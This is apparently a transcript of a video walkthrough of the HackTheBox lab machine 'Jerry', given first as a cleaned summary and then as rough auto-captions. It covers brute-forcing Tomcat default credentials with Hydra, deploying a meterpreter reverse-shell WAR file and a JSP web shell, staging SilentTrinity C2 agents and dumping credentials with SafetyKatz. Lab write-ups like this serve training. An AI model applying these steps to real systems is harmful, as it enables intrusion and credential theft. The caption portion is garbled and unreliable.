HackTheBox - Jerry

what's going on YouTube, the Zips that can be doing Jerry from Hack The Box, which was a super simple box meant to be just about as difficult as MSO-867 or Tunnel Blue. It's just Tomcat that is running as SYSTEM with default creds. So you get in, guess the default creds, upload a malicious WAR file, and when it executes you just get SYSTEM. Because I like learning something new every week and trying to take something away from each box, after we do that we're gonna be doing a more advanced route without Metasploit. We're gonna just upload a JSP shell to Tomcat and then have that execute Silent Trinity, which is a new C2 framework that was released at DerbyCon. It's created by byt3bl33d3r and uses IronPython, so we'll go check that out. Let's just jump in. As always, we start with the port scan, so we'll run nmap -sC for default scripts, -sV to enumerate versions, -oA to output all formats, put this in the end, nmap-direct, and call it Jerry, then the IP address, which is 10.10.10.95. This can take some time to run, so I've already run it. Let's look into the results. We see only one port is open, that is port 8080. It is an HTTP service, and the banner says it is running Apache Tomcat/Coyote JSP engine. Tomcat is essentially just a web server that hosts Java files, so let's go check out what is listening on port 8080. Let's copy this IP address, go over into Firefox, paste it, and put colon 8080, since it's listening on port 8080, and we get this Tomcat welcome splash page. Let's click these buttons on the right and see what happens. The Server Status brings us to a login prompt. If we do admin/admin, we get in. We can see general things about Tomcat, memory space, the JVM, and so on. Applications access is denied, so we can't go to the manager HTML listing, but we can generally see information about this server. Service status isn't too helpful. The Host Manager is a proxy for Tomcat, but let's try the next app, Manager App. We get access denied right away when trying to go to it. We don't get a login prompt, so if we go into Firefox and clear our credentials... actually, before clearing the credentials, let's push this over to Burp Suite. Refresh this access denied page. Intercept is set to off, so make sure intercept is on, and FoxyProxy is the plugin if you didn't see it. Refresh the page and we're sending an HTTP request. We have this Authorization header, and if we un-Base64 this by going to the Decoder tab and decoding as Base64, we see it's admin:admin, because that's how basic HTTP authentication works. It just adds this to the header. If we remove the Authorization Basic header and click forward, then go back to Firefox, it's asking us for credentials. If we put the username as "please subscribe" and password "share my videos" and click OK, going back over to Burp Suite we have the Authorization Basic header. We can copy this, go over to Decoder, paste it in, and see we're trying to authenticate with "please subscribe:share my videos." That's how the whole thing works. We go to Firefox and clear history so we no longer have to intercept, turn intercept off, click go, and now it forgot that authorization header. The manager/html page doesn't work with admin/admin. This access denied page is saying you need the manager-gui role to access this page, and here's code to add the user "tomcat" with the password "s3cret." These are actually the credentials. Every now and then you come across people just using what the documentation says to set passwords, or what the software comes with. Even better, when you Google how to do something on Stack Overflow, developers sometimes copy and paste from Stack Overflow, which includes credentials. So this is a very real thing. Looking at the host manager, it also asks for login, and admin/admin doesn't work. If it wasn't default, or if it didn't tell us the default, we'd have to find a way to brute-force it. I'm going to go over to a terminal window and pick a good wordlist to do this with, a targeted wordlist from the SecLists project. On Kali it's at /usr/share/seclists, and if you don't have it, just run apt install seclists. I believe that is the correct name. Let's search for it, and yep, it's there. If you're not on Kali, go to GitHub, SecLists, and you should see it as the first result. What I'm going to do is run find from the current working directory and grep with -i for a case-insensitive search. I'm searching for Tomcat, and we find a file, passwords/default-credentials/tomcat-betterdefaultpasslist.txt. I'll look at this, and we see quite a bit of username:password pairs. So I'm going to go over to Hydra. Hydra is a brute-force utility that supports a bunch of different protocols. Running hydra -h shows the help, and we can see how to specify the username:password format. Lowercase -l is a login name, uppercase -L is a login file, lowercase -p is a password, uppercase -P is a password file. We don't want these because I don't feel like making separate username and password files. Further down the list we have -C, which is a colon-separated login:pass format, instead of using -L and -P. That's definitely what we want. Let's open a split pane and run hydra -C, then the location, /usr/share/seclists/..., and paste in the path. Next, we have to specify what we want to brute-force. The first time I did this, I tried something like http://10.10.10.95:8080/manager/html, and Hydra complains that there's no service called HTTP. You most likely mean http-get, http-post-form, or similar. You can actually just use http-get with the URL, and that works. Hydra reports admin:admin worked, and tomcat:s3cret worked. While on manager/html, admin certainly does not work for host-manager or manager/status, so I'm not sure what Hydra was thinking there. In that case we can go back to the Hydra help and see how to set a proxy, so we can route through Burp. We set the proxy variable and point it at where Burp is listening, http://127.0.0.1:8080. Run it again, but go over into Burp and check the HTTP history. We can see Hydra trying to brute-force, and the only differing thing is the Authorization header. I'll take one, go to Decoder, paste it in, and decode it as Base64. Now I'm going to filter out the 401 responses, and we're left with only two successful requests, both using Basic auth, and the credentials are tomcat:s3cret. So let's go back over here. It also tried admin:admin, so let's decode that to check. Turning on the HTTP history search and looking at the requests using admin:admin, we see three forbidden responses. I have no idea why Hydra reports admin:admin as working, but the correct credentials are tomcat:s3cret. To backtrack a little, the correct way to do this, which does work, is to specify it all directly, since I believe the better way is to... (video ends here)

creds so you get in guess the default creds upload a malicious war file and when it executes you just get system because I like learning something new every week and trying to take something away from each box after we do that

we're gonna be doing a more advanced route without Metasploit and we're gonna just upload a JSP shelf to tomcat and then have that execute silent trendy which is a new c2 framework that was released at Derby con it's created by

bite bleeder and uses ironpython so we'll go check that out and yeah let's just jump in as always we start with the port scan so we'll run and map - SC for default scripts sv enumerate versions Oh a

output all formats put this in the end map direct and call it Jerry then the IP address which is ten ten ten ninety five this can take some time to run so I've already run it look into the results we

see only one port is open that is port 8080 it is a HTTP service and the banner says it is running Apache Tomcat slash coyote JSP engine Tomcat is essentially just a web server that hosts Java files so let's just go check out what is

listening on port 8080 so let's copy this IP address go over into Firefox paste it and put colon 8080 since it's listening on port 8080 and we get this Tomcat welcome splash page so let's click these buttons on the right and

just see what happens and the server status brings us to a long and prompt if we do admin admin we get a actual allowed so we get in to service status with just admin admin and we can see

generally things about Tomcat Eden survivor attended this is all Java memory space with the JVM list applications access denied so we can't go to manager HTML lists when we can generally just see information about this server service status not too helpful AJ PAPR

this is a proxy for Tomcat but let's try the next app manager app we get access denied right away when trying to go to it we don't me get a login prompt if we go into Firefox and clear our

credentials actually before clearing the credentials let's just push this over to burp suite refresh on this access denied it no intercept to set to OFF so make sure intercept is on and this plugin is foxy proxy if you didn't see it but

refresh this page and we're sending a HTTP request but we have this authorization thing in our header and if we unbasic ste for encode this by going to the decoder tab and then decode as base64 we see its admin : admin because

that's how basic HTTP authentication works it just adds this to the header so if we remove our authorization basic click forward go back to a firefox it's asking us for credentials so if we put the username as please subscribe and

share my videos click ok going back over to burp suite we have the authorization basic we can copy this go over to decoder paste it in and we see we're trying to authenticate with please subscribe : and share my videos so that's how that

whole thing works we just go to Firefox and clear history it should clear this so we no longer have to intercept it so it's turn intercept off click go and yes now it forgot that authorization header so the manager slash HTML page doesn't

work with admin admin this whole page or access denied page is saying hey for example you need the manor - GUI role to access this page and here's code to add the user Tomcat with the pass the secret it this is actually the

credentials and every now and then you come across people with like just using what the documentation says to set passwords or what the software comes with or even better when you google like how to do something in Stack Overflow

you will see sometimes developers just copy and paste from Stack Overflow which includes credentials so this is definitely a very real thing looking at the host manager thing it also asks for login and admin admin doesn't work so if it wasn't default

we'd or if it didn't tell us the default we have to find a way to brute-force it so I'm gonna go over to a terminal window I'm gonna pick a good word list to do this with a lot of targeted word

list and the sec list wordlist github project i don't know what else to call it on cali its user share sec list and if you don't have this it is on app so just do app to install sec l is TS i

believe that is the correct name let's just search for it and yep it's there if you're not on cali if you just go to github sec lists you should see it as the first result so what I'm going to do

is find dot to find from the current working directory grep - I'd to do a case-insensitive search I'm just going to search for Tomcat and we find a file passwords default credentials Tomcat better default past list so I'm going to look

at this and we see quite a bit of just username : password so I'm going to go over to Hydra so if we do Hydra H and Hydra just a brute force and utility that does a bunch of different protocols

so Hydra - H - see the help and we guys see how to specify the username : password so we have - lowercase L for a login name uppercase L is login file lowercase P is password or uppercase P

is password file we don't want these because I don't feel like making a username and password file if we go further down the list we have - capital C which is colon separated login colon pass format instead of using - L and - P so that is

definitely what we want to do so let's open up button split pane and then do Hydra - capital C and then the location so users share SEC list and then let's grab this string paste this in and then

the next thing we have to do is specify what we want to brute force and the very first time I did this I always just try like HTTP colon 10 10 10 95 colon 8080 / - last HTML and you're gonna get a

hash cat complain at you because there's no service called HTTP you most likely mean HTTP - git or HTTP - forum - post and you could actually just do HTTP - get colon slash slash and this is going

to work so we get it said admin admin worked and tomcat secret worked and while on manager HTML and i'm an admin certainly does not work host manager manager HTML manager status so manager slash HTML I'm not sure what Hydra was

thinking so in that case we can go back to Hydra help and see how to set a proxy so we can do hydro proxy HTTP so let's set this variable and then we specify web burp is listening so HTTP colon

slash slash 127 0 0 1 port 8080 run this again but go over into burp and our HTTP history I guess I have Google running and we did a bunch of requests there I'm not sure why that happened

so we can see Hydra trying to brute force and we can see that just because the authorization is changing so if we go here go to decoder paste this in root password one go over here copy this good

repeater are not repeated decoder bases in root root so we get a bunch of authorization denied so what I'm going to do is change this filter term by let's see is there take out for xx request error there we go

goodbye host and we see we're left with only two that are successful and both of these two say basic and this looks like Tomcat Tom secret we give it to coda Tomcat secret so let's go back over here

it's doing admin admin so let's F go - N and then base 64 and let's see we actually I do admin : admin copy this go here turner HTTP air is on search by term and I think this

one's actually a pro feature to search by to him I'm not possible positive there but here's the requests that are using admin admin and we can see the response for three forbidden for three forbidden so I have no idea why Hydra is

saying admin admin works there but here's the correct credentials and to backtrack a little bit the correct way to do this because this does work but I believe the better way to do this is not to specify all this because when you do

this I don't know how to do arguments so if you had to do like a login form htb - PO it's not gonna be that simple so how I generally like using this is let's just delete all this you do - s to specify

the port and - s I think it stands for a source port maybe I don't know but - s is port it doesn't do - P because - P is for password and then you want to specify the IP address I think is that

IP address then service or service than IP I'll try IP so 10 10 10 95 HTTP - get and then after that you can specify your options like slash manager slash HTML and there we go I think this is the

better way to specify it just because it's going to work for you all the time because when you do HTTP - post you put your arguments right here um if you also wanted to see everything that's going on

you can do - lowercase V uppercase v and we can see what it's trying to login as so you can see the failed attempts - so let's see yeah it still thinks admin admin works there there's gonna be

something silly I did there but that is slash manager slash HTML and let's clear everything so we're not saying that authorization header and then admin certainly does not work so I'm not sure what hydras thinking let's do Tomcat

then s3c ret and we get access to this tomcat web application manager if you look around this page you'll notice there's a deploy option to deploy a war file you need to play one locator on a server or just brow upload one from your

computer and then applications these are uploaded war files a war file is essentially just a packaged up Java code or a JSP so we can go to like examples click on P examples and click execute here and we

can see this basic math JSP file click on source and we can see the source code to that showing it wasn't just printing that table it was actually doing math inside of that table if we go back to

you can look at all the ones like hello world result hello rolled looking at the source code to this one you can see it doing a JSP way to do that so you know if you can upload a word get that here

and then have that actually execute bad code you could potentially get a shell so the tool I know one we use to do this is MSF venom because it just all generates Metasploit payloads really easily so we can do MSM venom - h4 help

and then we want to do - L payloads to list all the potential payloads we can use it's going take a few seconds to run and we'll see various payloads I want to know if it's Windows 32 or 64-bit so i

keeps going down i see the OS architecture - AMD 64 which means we're dealing with a 64-bit box so i'm going to use a 64 bit payload and I'm just gonna do Windows x64 meterpreter or is reverse tcp if you see the matura

underscore reverse tcp that means it's a I think it's called stage list source you always get stage lists in stage make stop and contains all of motor Peter so this payload is going to be a little bit bigger if it's just meterpreter slash

then it's a stage payload which means it's just a small stub that you give the server and the server calls back to you and you give it the rest of the code the benefit to that is your payloads are

much smaller so if you're doing like buffer overflows they can fit in more places the downside to that is it's a lot easier to make signatures for that type of activity because in order to do that we just downloading code off

the web server then executing it chances are you're creating like a read write execute memory space on your box and that doesn't happen that often normally happens when people are doing bad things so if antivirus looks at that it'll see

that this is actually hard to read so I'm just going to know the payload will do - be Windows x64 meterpreter reverse underscore TCP and the other thing we need is a format we need to know how to

get it to run generate a war file so I'll do - L and then the other things I can do with - L is payloads and kodos nops platforms rx formats so we'll do formats and see where the word is it is

right here and if we keep going up we'll see framework executable format so - - format war will generate this a war file so let's try this let's do msi venom - P and then the payload we want

which is Windows x64 meterpreter verse TCP we have to specify the variables so L host is gonna be 10 10 10 95l port is going to be 9001 this is just telling the payload where to call back - 10 10

10 Oh 9 95 we want 10 10 14 17 I believe I do if config tun 0 my IP is 10 10 14 17 and then port I'm going to be listening on port 9000 1 - f4 format we want 4

then - Oh out file would do please subscribe or generate this and we see we do have the file created if we change this to be meterpreter underscore reverse TCP and do please subscribe to dot war we'll see

how big this file is and compare these staged and staged list payloads so we see let's just put this in more human readable so one is 4 kilobytes the other is a hundred and twelve kilobytes because again when you do that

underscore not the slash you're doing all of meterpreter with just the slash you're just saying hey go here and download so this is much smaller than this before we can upload this though we have to have a way to catch the shell

and send it meterpreter so we're going to use MSF DB space run a lot of people start Metasploit with just MSF console but MSF DB space run will start the database and then start Metasploit for you and I'm not sure what persistent

cameras are nope so nothing so um yeah so I always just use MSF DB space run so I want to do like service Postgres start them MSF console because if you have the database running everything searches super fast so you can just do search

exploit and I guess my cache is built so it returns within a few seconds but I didn't have the database running it may take a good 30 45 seconds for that to run so in order to set up the handler to

catch this we want to do use what is it it's multi hammer I forget what's before it search multi hammer is it exploit multi handler yep so use exploit multi hammer then set payload we want Windows x64 meterpreter reverse tcp because

that's the war file we're going to use set L host to ton zero this is gonna be what we're listening on always just do it twice because sometimes when you set L host it doesn't actually set and I found doing it twice

makes it work a little bit more often then set out port 9001 exploit - J to run this and then send handlers meterpreter sessions to the background so now we have a war file that we can upload and we also have Metasploit

listening so when we execute that war file we'll get a shell back so let's go back over to Tomcat and we're going to upload a file and then see if we get a shell click browse go to root htb boxes

Jerry please subscribe click deploy and then do we have a show yet nope let's go click on a please subscribe application please subscribe is not available 404 refresh don't get a shell let's just go look at one thing make

their temp CD tab unzip stop that slash please subscribe dot war and we want to go to this JSP I'm not sure if emissive mmm said it or anything but essentially war files are just zips so I can unzip

the work get the contents of the file and I'm going to specify it manually it must be a better way to do this because I don't expect them to force you to do this every time but we keep this JSP we

don't get 404 and we can go over here and we see meterpreter session 1 has been opened so if we do sessions - i to interact 1 we're here and we can do help and look at it is there like sis info here system

commands execute we can do like get you idea to get what we're running as so get UID well ND authority system so we're already on this box we can go to shell users administrator desktop and then go into

flags and we can get birthday user and root flag here so that's essentially how to do the Box the easy way now we're going to get out of everything we're gonna do this box again except we're not going to use Metasploit and then we're

gonna upload a manual JSP shell and then we're gonna use that JSP shell to execute silent trendy which is a new c2 framework released at Derby con that uses ironpython so that should be pretty fun so let's exit this one and begin again the first

thing we need to do is find a good JSP shell so I'm just gonna google JSP shell and we're gonna see what comes back we have this hacking with JSP shells article from 2011 and that SPI is generally a good reference we had

probably have something on this is fuzz DB there's also probably something on payload all the things but I see this security risk advisors a small work better JSP web shell so I'm just gonna use this because they said this is

better than most JSP web shells so I'm gonna trust the random website and we're gonna see what they say so you can read all this or let's just go and find the github page and see how this works so

I'm going to copy this get clone paste the URL and how to use there's method 1 the booklet method yeah bookmarklet whatever method and you copy this and go to the JSP paste it in and it'll work we'll use the hosted JavaScript and all

this is doing is if you read the blog post you'd realize a lot of the actual code is removed and placed in a JavaScript file that reads it off your web server so that's just to make the initial payload smaller like this is the

entire to do everything and there's a hook right at the top that's a script eval window local storage embed so when you're doing the bookmarklet method it's pulling the JavaScript file out of your local storage if you're doing the hosted J yes

you just change that and it's pulling it off your web server so we're going to do the hosted j/s rail so let's go into CMD JSP edit CMD JSP and what says script evil we're going to remove the whole

eval statement and we're going to say script SRC is equal to http 10 10 14 17 / aj s which is our host and that should be it the next thing is we can't just upload a raw JSP file to tomcat we have

to make it a war file so I'm going to delete CMD which is the one that came with this github and we're going to make a with zip CMD dot war for the filename and then the file we want to add to it

is CMD dot JSP okay then let's start a Python web server with Python - M I think it's capital simple HTTP server on port 80 it's lowercase 5050 and somehow I always get 50 50 is wrong so starting the web

server we got the war file let us go back here to Tomcat it's slash manager slash HTML let's go to deploy a new war and it's in CMD JSP CMD or deploy this click on this and we get that familiar HTTP not found

if we specify the JSP file we created CMD JSP here we go we got our shell and we can look at our Python web server we gave it a Jas if we weren't running that this is all we'd get so I really like

the fact that it does that because you look at the source code the page is just saying hey get this javascript file so it kind of off you skates it makes it a bit safer in my opinion just because you can't

just go to a page and execute code it's also assuming you know that you have to specify the JavaScript for it to execute doesn't take much to reverse it and get it working but again anything to it delay is good and if you're having your

she'll call back to your IP you always know when people are executing it so we can do like Who am I here and run and we get anti-authority system if we do like dir it's not gonna work because dir is

in the path we get a error message but we do see MD / see dir and we get it again so this is the basic of that web shell you could also do like CMD slash CDI RC Cola not siegel and slash just

slash users administrator desktop flags I think it was and we can see that so this is the web shell we can also upload files but we have code execution via Tomcat so now we have to install silent Trinity which is a really cool C - it's

in heavy development so expect things to change somewhat Trinity github and I would help if I spell this correctly there we go from bite bleeder so let's go into /opt get clone and then go into silent Trinity and we have a few things

so we want to go into the server and silent Trinity requires I believe Python 3.7 or greater and if we just do Python 3 or a default version is 3.6 and you're gonna come in errors if you try to do

this whole thing with 3.6 if you do python hit tab a few times we'll see that python 30.7 is installed on Kali and when we do Python 37 it executes it's just not default so whenever we specify apt

commands to install things we need to make sure we specify the 3.7 variants so I'm going to at install Python 3.7 - dev to install the development tools for Python 3 7 let this run it can take a

little bit once the dev tools are installed we can now use pip and there is no like pip 3.7 like we did before instead we do Python 3.7 - m4 module pip install - our requirements text we got

to install pip3 so apt install pip three - python is it let's do app search BIP 3 it's why Python - pip 3 so let's try that apt install Python - pip 3 let's try python 3 - pip there we go

so it's Python 3 - pip to install pip 3 and then once this is done we can hopefully use the pip module and Python 3 7 to install requirements text it should be installed so now let's try a last command Python 3 7 - m pip

install requirement text and it looks like it is going so that is a good sign once this goes we should be able to do Python 3 7 STI for silent Trinity and now we're in a semi familiar shell and

it's command syntax follows either Metasploit code what strike or empire so it's got essentially list and options but you can't do those until you are actually at a module until you get there you always have the tab autocomplete and

it's a super fancy one with a drop-down so the first thing we always have to do is set a listener and then we can list to see the other listeners it's also got like a predictive capability where it

puts the things and grey text if you hit the right arrow it will autocomplete but let's just do list and we can see we got to listeners HTTP and HTTPS use HTTP for now so use HTTP and if we did list

again it's gonna show the listeners once we're in the actual I guess sub module this is cold you wanna do options and you can see all the options you can use so we'll do use mind IP 10 10 14 17 not

use set find IP 10 10 14 17 and when we do list again NatWest options again we have the value there so tab autocomplete see the command to start this is start so run that and now we got a web server so once you start a

listener you always got to generate some type of code to execute the agent so we're going to do tab autocomplete and go to stages and then list and we got W make and msbuild so if we use W Mik and

do tab autocomplete again we can generate and it once a listener name so we'll specify HTTP and we get the syntax at once C colon backslash Windows Bachelor system 32 w MEC and then specifies a file I don't think sound Trinity actually

starts a web server to execute files so we gotta start our own web server so we'll copy this command paste it into Firefox and we also have to change my url to be 10 10 14 17 and we also want

to say it is HTTP not HTTP just because it's quicker to spin up a listener and I will make the dub-dub-dub CDW and we'll have to move opt silent Trinity server W make that Excel to this directory and then also remember this

Tomcat shell requires ajs so I'm going to copy dot dot slash CMD ajs into this and we'll do the Python web server so if we click run here we should get a shell and that's not supposed to happen

no shared cipher let's see let's Wireshark I'm going to see what is happening here so Wireshark ton 0 wait for a new error message to show up and then we'll stop Wireshark so we got here messages stop client hello secure and shake protocol

let's see cipher Suites so the client 10 10 10 95 is offering 28 Suites so let's go into CD opt silent Trinity server grant - our for a curse maybe they call it site here and we're only doing elliptical

curve diffie-hellman AES GCM let's see do we have that sweet here TOS ECDSA I don't think we do elliptical curve diffie-hellman so let's modify your cipher suite to do we'll do elliptical curve aes-256 so was that here I think that's standard on the windows

one of these you can google these cipher suites and get the short names but let's do listeners HTTP PI we could also just Google a list of cipher suites and add a lot of them but I think this should be

fine so we'll do ec d h4 elliptic curve diffie-hellman and we want a es 256 I think that's right I'm a heavy on the end once that's the issue maybe it's not supposed to have the e oh it's Google

you see D H a s 256 turning your webserver ECD h zc d h e GCM a thing you see th e e CD h e GCM I think that's the thing but or destroy what we did so we just put

ECD h+ aes-256 in this so let's exit out stir it up use we do listeners first use HTTP set bind IP 10 10 14 17 let's not start its run no it is start stirring the web server we send

the agent so that was the issue it was just an SSL handshake of the Windows client not supporting what the cipher suite was crap we got another error message this is the problem when using things that are still heavily in

development all right that may be fine so let's add tab let's go to sessions we can list and we see we have the gooood this is the agent new session system address the last check-in was four seconds ago list four seconds ago so

it's checking in every five seconds and we get a weird error message this could be just the SL sweet isn't there but we'll ignore that for now and hopefully we can push a fix to github off video so

let's do agents not agents modules list and we can see all the different modules we can run so let's try safety cats so use safety cats list not list for in a sub module so we want to run options and

it's dumping it to see : windows temp debug bin and then executing a thing so if we just click run and then we can specify the session that would be the gooood or we can just say run all to run

across all sessions and within 5 seconds if that error message isn't breaking things will get the output of safety cats which is just a sea implementation of mini cats so if we wanted to we could also execute NEC shut

code so let's compile Watson put it on a box and then try running Watson so let's go over to my development machine resume this VM ok when windows login and then we can do github Watson and PI it's

specify Rastamouse run this I'm not running click it clone it download download zip open with you don't need IE anymore copy this to the desktop open in Visual Studio I'm sure if you youtube if SEC Visual Studio there'll be a video on installing

Visual Studio if you don't have it this is just the community edition which is free I think is running 2015 I think that's the one I normally use and could be the latest I do have about hello about 2015 so we got Watson open we just

go to build build solution and you can do this with any of like the ghost back tools if you want to do safety belt or anything this will also work so we built it and it puts it in Watson then debug

we got Watson dot exe here so you gotta get this to a calorie box and I'm gonna see if I can just start a SMB server so make der SMB CD SMB will do and Paquette SMB server called the share

transfer and then put PWD in backticks so it does a good working directory if config Ichiro I'm on 116 10/1/82 so let's see if I can navigate there 172 1610 182 slash transfer because it's not secure it's only doing SMB v1 so let's

see if we do - H does it have help can we do SMB - lets just specify user name and password and see if that works - you if - p-please subscribe see if that works transfer nope and once SMB - so I don't

think I haven't all my Kali well I'm have Cobras configured will do eyelash / not go Bruce Samba configured so I'm just gonna transfer this through VM Tools I'm going to pause the video copy to my host and copy it to Kali so we got

watson and root h TB boxes Jerry so we can go back to silent Trinity and list all the modules and we can use execute - assembly then options and we set the assembly path to where it's located on a

machine so we'll set assembly to route h TB boxes Jerry and then Watson dot exe those error messages are really annoying so run all to run across all agents give it five ten seconds to run and we can

see Watson ran we could also just do safety belt so we'll try that real quick so go to Firefox then Garris pack github do here not sage belt seat belt is what it's called download the zip I hoping

that I will see if this compiles just as easily I've now never actually ran this tool before so this would be a first for me open this up go to build build solution and looks good go into end debug copy

seatbelt exe and I'm again gonna pause the video and get it over to my VM we got seatbelt in the same location so let's go back we can do set assembly and then we'll specify seatbelt Exe run all

click and type give this a few seconds and we'll see what seatbelt comes back with my attempt is made in the incorrect format so that definitely didn't work if you recall from last week's real video we had a issue with dotnet versions so

we're gonna try checking that real quick maybe seatbelt and Watson come with different versions let me get back to my development environment we can do right click on seatbelt properties and I think I want to click the actual project we

can see this target framework is dotnet 3.5 going over to our box we can do a CM d /c dir C colon backslash Windows microsoft.net then run this we see the folders and framework 64 and crap ain't got rid of my stuff and run

that's annoying CM b / c di uh net framework 64 and we see version 4.0 so this is some version 4.0 it could be 4.5 or whatever but we don't have three so let's go back over to our environment

compile it for dotnet for I guess yep I'll change the target and then rebuild solution and we have the build has succeeded so let's go over into a debug and where is the exe that's Watson so seatbelt should be probably my desktop -

there we go seatbelt then debug and it has updated so I'm gonna copy this over to my Linux machine and then we will see if this works now seatbelt has been copied so let's go back here and we can do options

to make sure everything's still set and I'm gonna just try run all and hopefully this time it comes back with seatbelt actually running and could not load it assembly let's just try exiting restarting and listeners use HTTP set

find IP to ten ten fourteen seventeen start we have to exit that session probably let's see let's just try copying this getting another session so what I think the issue could be is it's just trying to load the same exe twice and it's not

loading it the second time so now we can do modules use execute assembly options set assembly to be root H TV boxes Jerry seatbelt exe run all and see if we arrow on both of them and we did so I'm not

sure if this is a from a seatbelt or execute assembly we can check the exact dotnet version so I guess that would be the next thing in a test so let's go back in the Firefox and I don't know if

we kill that if our session actually dies but do that dir my Firefox will type whole VM is going slow okay there we go so di o microsoft.net we have CMD we do is this the one CMD see dear

microsoft.net framework 64 asus n-nope type it framework 64 copy the whole thing and then we want to do backslash version 4 303 1/9 taste that so the assembly we want is CLR DOL that is right there so base this in the URL

bar so we can see what I'm doing and I'm just going to change CMD / DD iota PowerShell and we'll do get - item and pipe that to FL for format list run this and oh I'm doing get I am on the folder

CLO DLL I said it I just didn't type it and now we have product version dotnet 4.7 so let's try combining this one last time and then we'll call it a night I don't have 4.7 on this so we'll just do

I guess 4.5 take it framework sure yep okay let's just save this exit and then we'll reopen seatbelt just in case for some reason Visual Studio wasn't doing that we're trying to rule out all cases of possible failure build

rebuild and this is net so it's any CPU we don't have like 32 or 64-bit we go here and we're going to copy seatbelt and try this for the very final time okay it is copied let's go to terminal

I've run all and this is where we really hope there we go it works nothing found so it was a dotnet version issue but we finally have seatbelt working so that is the Box hope you guys enjoyed it take

care and I will see you all next week